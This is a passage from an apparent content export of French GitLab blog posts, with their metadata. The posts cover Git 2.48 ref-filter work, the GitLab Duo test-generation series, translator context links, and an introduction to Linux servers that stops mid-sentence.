astronomique. C'est pourquoi nous avons du travail à faire non seulement pour améliorer les backends qui stockent des références, comme le backend « reftable » (voir ci-dessus), mais\naussi pour optimiser le code de mise en forme, comme le sous-système 'ref-filter'.\n\nNous avons récemment [trouvé une méthode](https://lore.kernel.org/git/d23c3e3ee7fdb49fcd05b4f2e52dd2a1cfdc10f2.1729510342.git.ps@pks.im/)\npour éviter de mettre temporairement les références en mémoire tampon et de les traiter chacune plusieurs fois dans le code de filtrage des références. Désormais, celles-ci sont traitées directement dans l'ordre de tri fourni par les backends. Cette amélioration réduit la consommation de mémoire et accélère certaines commandes, pouvant les rendre jusqu'à 770 fois plus rapides dans certains\ncas.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## En savoir plus\n\nCet article n'a mis en évidence que quelques-unes des contributions apportées par GitLab et la communauté Git au sens large pour cette nouvelle version. \n\nVous pouvez approfondir ce sujet en lisant l'annonce officielle du projet Git et en consultant [nos précédents articles de blog sur les nouvelles versions de Git](https://about.gitlab.com/blog/tags/git/).\n\n- [Nouveautés de Git 2.47.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-47-0/)\n- [Nouveautés de Git 2.46.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-46-0/)\n- [Nouveautés de Git 2.45.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/)\n- [Format reftable de Git : guide pour les débutants](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/)\n",[1047,913,270],"2025-01-20",{"slug":1932,"featured":92,"template":683},"whats-new-in-git-2-48-0","content:fr-fr:blog:whats-new-in-git-2-48-0.yml","Whats New In Git 2 48 0","fr-fr/blog/whats-new-in-git-2-48-0.yml","fr-fr/blog/whats-new-in-git-2-48-0",{"_path":1938,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1939,"content":1945,"config":1953,"_id":1955,"_type":16,"title":1956,"_source":17,"_file":1957,"_stem":1958,"_extension":20},"/fr-fr/blog/automating-with-gitlab-duo-part-3-validating-testing",{"title":1940,"description":1941,"ogTitle":1940,"ogDescription":1941,"noIndex":6,"ogImage":1942,"ogUrl":1943,"ogSiteName":841,"ogType":842,"canonicalUrls":1943,"schema":1944},"Automatisation avec GitLab Duo : comment valider des tests (Partie 3)","Découvrez le test que nous avons effectué pour valider l'impact de GitLab Duo sur les tests automatisés de notre équipe et les résultats que nous avons obtenus.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097447/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097447404.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-3-validating-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisation avec GitLab Duo : comment valider des tests (Partie 3)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-17\",\n      }\n                  ",{"title":1940,"description":1941,"authors":1946,"heroImage":1942,"date":1948,"body":1949,"category":697,"tags":1950,"updatedDate":1952},[1947],"Byron Boots","2024-12-17","Dans les articles précédents de cette série, nous avons vu [comment utiliser GitLab Duo pour générer des tests pour notre code](https://about.gitlab.com/fr-fr/blog/automating-with-gitlab-duo-part-1-generating-tests/) et présenté [ce que nous avons appris en utilisant GitLab Duo pour générer des tests automatisés](https://about.gitlab.com/fr-fr/blog/automating-with-gitlab-duo-part-2-complex-testing/). Nous avons également partagé quelques-unes des façons dont nous avons abordé les changements apportés aux tests générés par GitLab Duo. Ce dernier article de la série présente un test que nous avons effectué pour valider l'impact de GitLab Duo sur les tests automatisés de notre équipe et dévoile les résultats que nous avons obtenus jusqu'à présent.\n\n### Résultats des tests de validation\n\nAfin de valider la valeur ajoutée de notre utilisation de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"GitLab Duo \") pour générer des tests, nous avons mis GitLab Duo et nous-mêmes au défi de remplacer et d'augmenter la couverture des tests. L'équipe a supprimé tous les tests précédemment écrits afin d'obtenir une couverture de test de 0 %, puis a méthodiquement parcouru le dépôt et créé de nouveaux fichiers de test pour stocker ceux générés par GitLab Duo.\n\nL'équipe a ensuite suivi les étapes décrites dans [le premier article de blog](https://about.gitlab.com/fr-fr/blog/automating-with-gitlab-duo-part-1-generating-tests/) pour générer des tests. Pour fournir un groupe témoin stable, aucun humain n'a modifié les tests et fichiers de test et nous avons ajouté un commentaire `Tests générés par GitLab Duo` en haut avec le suffixe `duo.py` pour indiquer d'où venaient les tests.\n\nToutes les itérations des tests ont été réalisées uniquement par le biais d'interactions avec GitLab Duo via la fenêtre `Générer des tests` et GitLab Duo Chat, comme mentionné dans [le deuxième article de la série](https://about.gitlab.com/fr-fr/blog/automating-with-gitlab-duo-part-2-complex-testing/). Comme indiqué alors, nous avons demandé à GitLab Duo de faire des mises à jour en fonction des erreurs rencontrées, des échecs de tests et des exemples d'extraits de code que GitLab Duo peut utiliser comme contexte supplémentaire. \n\nLors de nos tests avec GitLab Duo, des tests et des rapports de couverture ont été exécutés afin d'évaluer si les tests générés augmentaient la couverture des tests et apportaient la valeur ajoutée que nous attendions. En tirant parti de la [visualisation de la couverture de test de GitLab](https://docs.gitlab.com/ee/ci/testing/test_coverage_visualization/), nous avons pu surveiller en permanence les résultats de notre travail.\n\nAprès avoir utilisé GitLab Duo pour régénérer des tests pour le code précédemment couvert par nos tests essentiellement manuels, nous avons pu atteindre une couverture de test de 84 %. Ce fut une grande réussite pour l'équipe car :\n\n1. Il s'agissait d'une amélioration significative par rapport à la couverture précédente, qui était de 74 %. \n2. Il a fallu environ deux jours à un ingénieur pour atteindre 84 %, alors qu'il avait fallu environ quatre semaines à plusieurs ingénieurs pour atteindre 74 %.\n\nDepuis cette expérience, l'équipe est parvenue à augmenter la couverture à 89 % avec l'aide de GitLab Duo, tout en continuant à introduire de nouvelles fonctionnalités.\n\n![illustration des réalisations](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097456/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097456771.png)\n\nL'utilisation de GitLab Duo a permis d'améliorer l'efficacité et la couverture des tests, et a également permis aux équipes de développement disposant d'un contexte plus restreint au sujet du code existant d'écrire rapidement des tests de qualité. Cela a permis à l'équipe de développer de nouvelles fonctionnalités sans craindre d'introduire des erreurs.\n\n> Vous souhaitez [tester GitLab Duo](https://about.gitlab.com/fr-fr/solutions/gitlab-duo-pro/sales/) ? Commencez un essai gratuit dès aujourd'hui.\n",[699,1951,1067,675],"testing","2025-01-23",{"slug":1954,"featured":6,"template":683},"automating-with-gitlab-duo-part-3-validating-testing","content:fr-fr:blog:automating-with-gitlab-duo-part-3-validating-testing.yml","Automating With Gitlab Duo Part 3 Validating Testing","fr-fr/blog/automating-with-gitlab-duo-part-3-validating-testing.yml","fr-fr/blog/automating-with-gitlab-duo-part-3-validating-testing",{"_path":1960,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1961,"content":1967,"config":1973,"_id":1975,"_type":16,"title":1976,"_source":17,"_file":1977,"_stem":1978,"_extension":20},"/fr-fr/blog/automating-with-gitlab-duo-part-2-complex-testing",{"ogTitle":1962,"schema":1963,"ogImage":1964,"ogDescription":1965,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1966,"title":1962,"canonicalUrls":1966,"description":1965},"Comment générer des tests complexes avec GitLab Duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisation avec GitLab Duo : comment générer des tests complexes (Partie 2) \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-10\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099243/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750099243011.png","Découvrez comment nous générons des tests complexes en utilisant les fonctionnalités alimentées par l’IA de GitLab Duo.","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing",{"heroImage":1964,"body":1968,"authors":1969,"updatedDate":1906,"date":1970,"title":1971,"tags":1972,"description":1965,"category":697},"Le premier article de notre série en trois parties sur la [génération de tests avec GitLab Duo](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests/) portait sur l'automatisation des tests de code. Nous allons maintenant partager les leçons que nous avons tirées de l'utilisation de l'IA pour la génération de tests.\n\n## Quelles sont les situations rencontrées et les solutions apportées ? \n\nDans l'ensemble, nous sommes satisfaits des résultats obtenus en utilisant [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) pour générer des tests sur notre code. Comme pour toute génération de langage, certains cas ont nécessité des ajustements mineurs, tels que la correction des chemins d'importation ou la modification du contenu des jeux de données. Pour les cas les plus complexes, nous avons dû nous rappeler que les solutions d'IA manquent souvent de contexte. Voici comment nous avons géré les situations de test plus complexes avec GitLab Duo.\n\n### Mise à jour des scénarios de test existants\n\nComme c'est souvent le cas lors du développement d'un produit logiciel, nous avons rencontré des situations qui nécessitaient des mises à jour de tests existants. Plutôt que d'apporter manuellement des ajustements à une suite complète de tests pour un problème commun, nous avons tiré pleinement parti de la fenêtre GitLab Duo Chat dans VS Code. Nous avons par exemple utilisé le prompt de Chat « Veuillez mettre à jour les tests fournis pour utiliser unittest plutôt que pytest  » pour refactoriser les tests, puis nous avons collé les tests que nous voulions que GitLab Duo mette à jour.\n\n![Génération de tests automatisés](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099252/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099252303.png)\n\n\u003Cbr>\u003C/br>\n\n![Prompt de chat demandant l'utilisation d'unittest plutôt que pytest\n](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099252/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099252304.png)\n\n**Remarque :** nous avons copié-collé les recommandations de GitLab Duo dans notre code.\n\n### Création de tests pour le code hérité \n\nLa création de tests pour un code hérité dont nous savions qu'il fonctionnait est une autre situation difficile que nous avons rencontrée. Dans de telles circonstances, il était utile de fournir des extraits d'erreur avec les tests échoués et de demander à GitLab Duo de proposer de nouveaux tests. Un copier-coller complet depuis la fenêtre du terminal des échecs et des erreurs constatés vers Chat, accompagné de la demande « Veuillez expliquer et corriger ce test échoué » ou de prompts similaires, a permis d'obtenir un résumé des problèmes rencontrés par le test, ainsi qu'un nouveau test permettant de les résoudre. Nous avons constaté que cela nécessitait parfois plusieurs cycles de refactorisation au fur et à mesure que de nouvelles défaillances de test étaient identifiées. L'efficacité de GitLab Duo pour fournir diverses solutions de refactorisation a toutefois été rapide et a eu un effet positif sur la productivité des équipes.\n\n### Gestion des abstractions et codes complexes\n\nDans d'autres instances, la modularisation ou la complexité de notre code a entraîné des variations dans les résultats de GitLab Duo. Lors de la génération de tests, GitLab Duo a par exemple parfois généré une série de tests réussis et échoués en raison de différences dans l'approche des tests. Nous avons fourni à GitLab Duo son propre exemple de test réussi et lui avons demandé de modifier les tests individuels un par un pour qu'ils correspondent au style des tests réussis afin de maintenir la cohérence. Nous avons également fourni à GitLab Duo un fichier de tests de fonctionnement pour un objet ou une tâche similaire afin qu'il puisse refléter la structure.\n\n### Vérification de la conformité du code généré à nos standards\n\nLors du développement d'un module Python, GitLab Duo a généré de nombreux tests à l'aide d'objets simulés Mock. Ces derniers nécessitaient souvent une refactorisation, en particulier en ce qui concerne la standardisation des noms. Dans de tels cas, nous avons pu utiliser GitLab Duo Chat pour refactoriser les tests avec des instructions sur les composants de test spécifiques à mettre à jour. Demander à GitLab Duo de procéder à ces changements a été beaucoup plus rapide que de refactoriser les tests individuellement, comme nous l'avions fait auparavant.\n\n### Gestion des scénarios non couverts\n\nGitLab Duo a généré des tests pour des scénarios supplémentaires que l'équipe n'avait pas pris en compte auparavant, augmentant ainsi la couverture des tests. Heureusement, nous avons pu utiliser GitLab Duo pour traiter rapidement et efficacement ces cas particuliers et étendre la couverture des tests, ce qui constitue une valeur ajoutée essentielle permettant à notre équipe de construire rapidement et de manière sûre un produit robuste.\n\n## Quels enseignements avons-nous tirés ?\n\nVoici quelques leçons clés ayant contribué à notre réussite avec GitLab Duo :\n\n* **Rapidité et efficacité pour un développement et une itération accélérés :** le rôle de GitLab Duo dans la génération de tests automatisés a été un accélérateur clé du développement et a permis à notre équipe de travailler plus rapidement et avec une plus grande confiance dans nos changements.\n* **Utilisation de prompts appropriés :** en utilisant GitLab Duo pour notre cas d'utilisation, nous avons abordé l'ingénierie des prompts, un sujet clé en matière d'optimisation de l'apprentissage automatique. Nous avons parfois dû modifier notre question de quelques mots-clés pour obtenir la réponse idéale.\n* **Compréhension des frameworks et du code sous-jacents :** lorsqu'un code généré par l'IA est intégré à un produit, ne serait-ce qu'à titre de test, il est essentiel de comprendre comment le code fonctionne afin de pouvoir le déboguer de manière adéquate et de demander des modifications en connaissance de cause.\n* **Compréhension de l'état final souhaité et des normes :** de la même manière que l'on respecte les normes de codage pour le formatage et l'utilisation de la bibliothèque lorsqu'on développe sans IA, il est important de garder à l'esprit les résultats escomptés et les normes à respecter lors de l'utilisation de l'IA. GitLab Duo a besoin de contexte pour comprendre les normes de codage, il est donc essentiel que les membres de l'équipe qui utilisent GitLab Duo assurent une supervision adéquate de ses résultats afin de garantir le respect de la qualité ainsi que d'autres attentes.\n* **GitLab Duo ne remplace pas tous les tests :** bien que nous utilisions GitLab Duo de manière significative pour générer des tests automatisés, ce dernier ne remplace pas nos autres tests et la supervision humaine. Les tests fonctionnels, les tests d'intégration et d'autres encore occupent toujours une place importante dans le processus d'assurance qualité et dans le cycle du développement logiciel.\n\nDans le prochain article de cette série, nous aborderons un test que nous avons effectué pour valider l'impact de GitLab Duo sur les tests automatisés de notre équipe et nous discuterons des résultats impressionnants que nous avons obtenus jusqu'à présent.",[1947],"2024-12-10","Automatisation avec GitLab Duo : comment générer des tests complexes (Partie 2) ",[699,1951,1067],{"slug":1974,"featured":6,"template":683},"automating-with-gitlab-duo-part-2-complex-testing","content:fr-fr:blog:automating-with-gitlab-duo-part-2-complex-testing.yml","Automating With Gitlab Duo Part 2 Complex Testing","fr-fr/blog/automating-with-gitlab-duo-part-2-complex-testing.yml","fr-fr/blog/automating-with-gitlab-duo-part-2-complex-testing",{"_path":1980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1981,"content":1987,"config":1994,"_id":1996,"_type":16,"title":1997,"_source":17,"_file":1998,"_stem":1999,"_extension":20},"/fr-fr/blog/how-gitlab-empowers-translators-with-more-context",{"title":1982,"description":1983,"ogTitle":1982,"ogDescription":1983,"noIndex":6,"ogImage":1984,"ogUrl":1985,"ogSiteName":841,"ogType":842,"canonicalUrls":1985,"schema":1986},"Comment GitLab facilite la compréhension du contexte pour les traducteurs","Découvrez notre nouvelle fonctionnalité d'amélioration du contexte de traduction et rejoignez notre communauté de traducteurs.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097922/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750097921899.png","https://about.gitlab.com/blog/how-gitlab-empowers-translators-with-more-context","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment GitLab facilite la compréhension du contexte pour les traducteurs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Oleksandr Pysaryuk\"}],\n        \"datePublished\": \"2024-12-09\",\n      }",{"title":1982,"description":1983,"authors":1988,"heroImage":1984,"date":1990,"body":1991,"category":928,"tags":1992,"updatedDate":1993},[1989],"Oleksandr Pysaryuk","2024-12-09","Notre communauté mondiale s'investit sans relâche pour traduire GitLab. Les traducteurs et relecteurs utilisent [Crowdin](https://docs.gitlab.com/ee/development/i18n/translation.html) pour rendre notre produit disponible dans 78 langues. La communauté de traduction GitLab est composée de traducteurs et relecteurs bénévoles, de professionnels qui utilisent GitLab et même d'[étudiants qui contribuent dans le cadre de projets académiques](https://about.gitlab.com/blog/behind-the-scenes-of-gitlab-korean-translation/).\n\n### Le modèle open core de GitLab pour la traduction\n\nLa collaboration entre les membres de la communauté a beau porter ses fruits, les traducteurs se heurtent souvent à un défi majeur : comprendre le contexte du texte qu'ils ont sous les yeux.\n\nBien traduire, ce n'est pas seulement remplacer un mot par un autre dans une autre langue. C'est aussi préserver le sens, l'intention et la clarté dans la langue cible. La traduction de logiciels nécessite une combinaison unique de compétences. Les bons traducteurs se spécialisent généralement dans plusieurs domaines linguistiques et maîtrisent également le domaine technique du produit lui-même. \n\nIls effectuent de nombreuses tâches adjacentes à la traduction, telles que :\n* assurer l'exactitude et la cohérence de la terminologie technique\n* ajouter des termes au glossaire pour de nouveaux concepts\n* respecter le style et le ton\n* appliquer correctement les [règles de pluralisation CLDR](https://www.unicode.org/cldr/charts/46/supplemental/language_plural_rules.html) complexes\n* comprendre la traductibilité des messages composites et fournir des retours pour améliorer la source afin de faciliter sa localisation\n\nLes traducteurs consacrent une grande partie de leur temps à analyser le contexte, à poser des questions et à consulter la [documentation produit de GitLab](https://docs.gitlab.com/). Sans contexte approprié, même des phrases simples peuvent être mal traduites, ce qui peut dérouter les utilisateurs ou perturber leurs workflows. [GitLab se distingue par son modèle open core](https://about.gitlab.com/blog/gitlab-is-open-core-github-is-closed-source/) qui permet aux traducteurs d'accéder au contexte de développement du produit directement à la source, dans la plupart des cas. Cette transparence leur permet d'être de véritables [co-créateurs du produit GitLab](https://handbook.gitlab.com/handbook/company/mission/#mission) et de contribuer activement à son amélioration continue.\n\n### Notre nouvelle fonctionnalité d'amélioration du contexte\n\nPour répondre à ces besoins et offrir un contexte précis aux traducteurs, GitLab a développé une nouvelle fonctionnalité : nous [intégrons désormais un lien contextuel dans chaque chaîne traduisible](https://docs.gitlab.com/ee/development/i18n/translation.html#context). Il s'agit plus précisément d'un lien vers notre recherche globale dans le produit. Celui-ci permet aux traducteurs de trouver toutes les instances d'une chaîne dans le code base. Ils ont ainsi la possibilité de s'appuyer sur [Git blame](https://docs.gitlab.com/ee/user/project/repository/files/git_blame.html) pour retracer l'historique de chaque chaîne, de son emplacement actuel dans le code et des validations dans les merge requests jusqu'aux discussions de planification initiales.\n\nPrenons par exemple la traduction de **Rotate**. L'[espace de nommage](https://docs.gitlab.com/ee/development/i18n/externalization.html#namespaces) **AccessTokens|** suggère qu'il s'agit dans ce contexte de *jetons d'accès*. Cependant, sans contexte visuel supplémentaire sur la signification de **Rotate**, les traducteurs ne peuvent que s'interroger, deviner et fournir la meilleure hypothèse possible dans la langue cible.\n\nGrâce à la nouvelle fonctionnalité d'amélioration du contexte, les traducteurs peuvent désormais :\n\n1. Cliquer sur l'URL dans la section **See where this string is used in code**.\n\n![voir où cette chaîne est utilisée dans la section du code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097928929.png)\n\n2. Consulter le [résultat de la recherche dans le code](https://gitlab.com/search?project_id=278964&search=%22%28%5B%5E%3A%5D%28+%29%2B%3F%7C_%5C%5C%28%29%5B%27%5C%22%60%5DAccessTokens%5C%5C%7CRotate%5B%27%5C%22%60%5D%22+%28file%3A%5C.js%24+or+file%3A%5C.vue%24+or+file%3A%5C.rb%24+or+file%3A%5C.erb%24+or+file%3A%5C.haml%24%29+%28file%3A%5Eee%2Fapp%2F+or+file%3A%5Eee%2Flib%2F+or+file%3A%5Eee%2Fconfig%2F+or+file%3A%5Eee%2Flocale%2F+or+file%3A%5Eapp%2F+or+file%3A%5Elib%2F+or+file%3A%5Econfig%2F+or+file%3A%5Elocale%2F%29&regex=true), puis cliquer sur l'icône **View blame** :\n\n![Écran affichant l'icône View blame](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097928930.png)\n\n3. Cliquer sur le lien pour accéder à la merge request pertinente ([Introduce rotation of personal tokens in UI](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/169954)) :\n\n![Lien amenant à la merge request pertinente](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097928932.png)\n\n4. Sur la page **Validations**, cliquer sur le lien vers la merge request pertinente :\n\n![Page Validations avec le lien](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097928934.png)\n\n5. Consulter l'enregistrement d'écran que le développeur a ajouté à la merge request :\n\n![enregistrement d'écran dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097928936.png)\n\n6. Poursuivre leur recherche en accédant :  \n   a. Au ticket associé [Introduce renew expired token capability in UI](https://gitlab.com/gitlab-org/gitlab/-/issues/241523) ou à l'epic parent [Rotate Token through the UI](https://gitlab.com/groups/gitlab-org/-/epics/14563) :\n\n![ticket associé et epic parent](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097928938.png)\n\nb. À la [merge request associée qui met à jour la documentation du produit GitLab](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/172916) :\n\n![merge request associée pour mettre à jour la documentation du produit GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097928940.png)\n\nToutes ces étapes de recherche permettent aux traducteurs de mieux comprendre le concept technique de *rotation des jetons d'accès*, ainsi que les raisons pour lesquelles cette fonctionnalité a été ajoutée, son fonctionnement et le problème qu'elle résout.\n\nGrâce à cette piste de recherche approfondie, les traducteurs obtiennent autant de contexte que possible pour fournir une traduction technique précise et linguistiquement correcte du terme **Rotate**, en apparence simple.\n\nCette approche surpasse les aides à la traduction traditionnelles, comme les captures d'écran ou l'accès à l'interface utilisateur du produit. Les traducteurs peuvent désormais comprendre pleinement le contexte en :\n\n* le déduisant des informations à partir des chemins d'accès et des conventions de nommage dans le code\n* consultant les captures d'écran ou enregistrements vidéo ajoutés aux merge requests initiales\n* consultant les discussions initiales de planification et de développement\n* retraçant le processus de prise de décision en matière d'ingénierie, de rédaction et de gestion des produits qui a conduit à une formulation spécifique\n\n### Plus de fonctionnalités contextuelles alimentées par l'IA seront bientôt disponibles\n\nL'équipe Globalization & Localization de GitLab ne compte pas s'arrêter là. Nous développons [d'autres fonctionnalités d'amélioration du contexte](https://gitlab.com/groups/gitlab-com/localization/-/epics/81), y compris des outils basés sur l'IA conçus pour aider les traducteurs à comprendre l'utilisation et le placement des chaînes. Notre objectif est de créer un système interactif dans lequel les traducteurs pourraient dialoguer avec un agent, poser des questions ou recevoir des réponses de manière proactive et immédiate, adaptées au code, sur l'emplacement et l'usage des chaînes dans l'interface utilisateur du produit.\n\n> ##### Rejoignez notre [communauté sur Crowdin](https://docs.gitlab.com/ee/development/i18n/) en tant que traducteur ou [relecteur](https://docs.gitlab.com/ee/development/i18n/#proofreading). Essayez nos nouvelles fonctionnalités contextuelles et dites-nous comment nous pouvons encore améliorer [l'expérience de traduction et notre produit](https://gitlab.com/gitlab-com/localization/localization-team/-/issues/259).\n",[270,1766,676,1808],"2025-02-03",{"slug":1995,"featured":6,"template":683},"how-gitlab-empowers-translators-with-more-context","content:fr-fr:blog:how-gitlab-empowers-translators-with-more-context.yml","How Gitlab Empowers Translators With More Context","fr-fr/blog/how-gitlab-empowers-translators-with-more-context.yml","fr-fr/blog/how-gitlab-empowers-translators-with-more-context",{"_path":2001,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2002,"content":2008,"config":2014,"_id":2016,"_type":16,"title":2017,"_source":17,"_file":2018,"_stem":2019,"_extension":20},"/fr-fr/blog/introduction-guide-to-linux-servers",{"ogTitle":2003,"schema":2004,"ogImage":2005,"ogDescription":2006,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2007,"title":2003,"canonicalUrls":2007,"description":2006},"Serveur Linux : définition, avantages, usage et installation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide d'introduction aux serveurs Linux : définition, avantages, usage et installation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2024-12-04\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663065/Blog/Hero%20Images/serveur-linux.jpg","Le serveur Linux est couramment utilisé dans les entreprises. Découvrez ses fonctionnalités, ses utilisations et ses avantages.","https://about.gitlab.com/blog/introduction-guide-to-linux-servers",{"title":2009,"description":2006,"authors":2010,"heroImage":2005,"date":2011,"body":2012,"category":764,"tags":2013},"Guide d'introduction aux serveurs Linux : définition, avantages, usage et installation",[1232],"2024-12-04","Lancé en 1991 comme alternative à Minix, il adopte la licence GNU GPL en février 1992. Linux est aujourd’hui le système d'exploitation le plus utilisé pour la gestion des serveurs d'entreprise. Les serveurs Linux répondent aux besoins d'entreprises de toutes tailles, leur fournissant une plateforme performante et économique pour piloter de nombreuses applications informatiques. Qu'est-ce qu'un serveur Linux ? Quels en sont les avantages et les usages ? Comment installer un serveur Linux ? Voici l'essentiel à savoir pour lancer votre projet sous Linux.\n\n## Qu'est-ce qu'un serveur Linux ?\n\nUn serveur Linux est un serveur informatique opéré avec le système d'exploitation Linux. Linux fut créé en 1991 par le Finlandais Linus Torvalds, sous forme de noyau de système d'exploitation de type Unix. Trois décennies plus tard, il se conçoit aujourd'hui comme une suite cohérente de logiciels formant un __système d'exploitation entièrement opérationnel__, appelée une distribution Linux.  \n\nLes distributions GNU/Linux s'utilisent principalement pour gérer des fonctions informatiques côté serveur (backend). Nous pouvons citer l'hébergement Web, la gestion de réseau et le stockage de données. Linux est open source, ainsi les équipes opérationnelles peuvent télécharger gratuitement une distribution Linux et l'adapter à leurs besoins. Le système d'exploitation Linux est disponible sous différentes distributions GNU/Linux, telles que Debian, Ubuntu ou openSUSE offrant aux équipes de développement un surcroît de flexibilité et de personnalisation. \n\n## Quels sont les avantages d’un serveur Linux ?\n\nLe succès des serveurs Linux s'explique en grande partie par leur accessibilité et leur flexibilité. Mais le système d'exploitation Linux est aussi reconnu pour sa stabilité et sa sécurité, des critères cruciaux pour les infrastructures de serveurs d'entreprise. Certifié par la Free Software Fondation, Linux est un logiciel libre dont le code source est ouvert, ce qui facilite la correction des bogues et des failles de sécurité. \n\nSon __écosystème open source__ cimente aussi la popularité de Linux auprès des développeurs et des ingénieurs informatiques. Une communauté très active promeut GNU/Linux et favorise sa sécurisation et son développement. En résumé, gérer un serveur sous Linux comporte de nombreux avantages : \n\n- __Réduction des coûts.__ Vous pouvez télécharger, utiliser et modifier Linux sans frais de licence, ce qui permet de réaliser d'importantes économies sur les dépenses informatiques. De nombreuses applications compatibles avec Linux sont aussi disponibles gratuitement.\n- __Sécurité.__ Linux offre un niveau de protection avancé, avec un logiciel libre, des mises à jour régulières, des correctifs de sécurité rapidement publiés, et un soutien de la communauté des développeurs et développeuses.\n- __Scalabilité.__ Les serveurs Linux peuvent facilement évoluer en fonction des charges de travail et du nombre d'utilisateurs. Cette souplesse est appréciée par les entreprises en croissance, et idéale pour les [projets DevOps des PME](https://about.gitlab.com/fr-fr/small-business/ \"Projets DevOps des PME\").\n- __Flexibilité.__ Linux offre un degré de personnalisation poussé, les équipes de développement pouvant adapter le logiciel aux spécificités de leur architecture et de leurs applications. Ils disposent aussi d'un large choix parmi les nombreuses distributions GNU/Linux disponibles.\n\n## Comment utiliser un serveur Linux ?\n\nPar leur versatilité, les serveurs Linux se révèlent précieux pour un grand nombre d'usages informatiques. Ils excellent dans les applications d'entreprise les plus sensibles et les plus complexes. Voici quelques exemples d'utilisations fréquentes d'un serveur sous Linux : \n\n- __Hébergement Web__, qui nécessite de gérer de fortes charges de trafic. Des outils très performants dans ce domaine comme Apache et Nginx fonctionnent de façon optimale sous Linux.\n- __Administration système et réseau.__ Avec des commandes en ligne puissantes, des fonctionnalités avancées de routage et de contrôle du trafic intégrées dans le noyau, une maintenance simple et un fonctionnement stable et sobre en ressources, Linux est le système d'exploitation de choix des administrateurs réseau. \n- __Gestion de bases de données.__ Linux procure une robustesse et une scalabilité incomparables pour utiliser les solutions de gestion des données les plus performantes, comme PostgreSQL, MongoDB ou MariaDB. \n- __Cloud et virtualisation.__ Les serveurs Linux permettent de maximiser les performances des logiciels et des serveurs virtuels. Ils sont naturellement plébiscités pour les [applications cloud-native des entreprises](https://about.gitlab.com/fr-fr/topics/cloud-native/ \"Applications cloud-natives des entreprises\").  \n\nLe champ d'utilisation des serveurs sous Linux ne se limite pas à ces exemples. Analyse de données, jeux en ligne, transferts de fichier, business intelligence, messagerie… Les équipes choisissent souvent GNU/Linux pour des projets informatiques qui nécessitent un haut degré de contrôle et de sécurisation, et font appel à des applications avancées et exigeantes en ressources.\n\n### Conseils pour administrer un serveur Linux\n\nSi vous souhaitez tirer pleinement parti des capacités offertes par Linux, nous vous conseillons de suivre certaines bonnes pratiques dans l'administration d'un serveur Linux en entreprise. Pour assurer un démarrage réussi, il est essentiel de __former votre équipe IT__ aux commandes en ligne, aux configurations de sécurité et aux techniques de dépannage. Utilisez des __outils de surveillance__ compatibles avec Linux, tels que Prometheus, Nagios ou Zabbix, pour maintenir la fiabilité de votre infrastructure à long terme.\n\nLa __planification des sauvegardes__ est un autre point crucial pour assurer la viabilité de votre projet. Vous pouvez utiliser la règle du 3-2-1. Sauvegardez trois copies des données, stockez deux copies sur 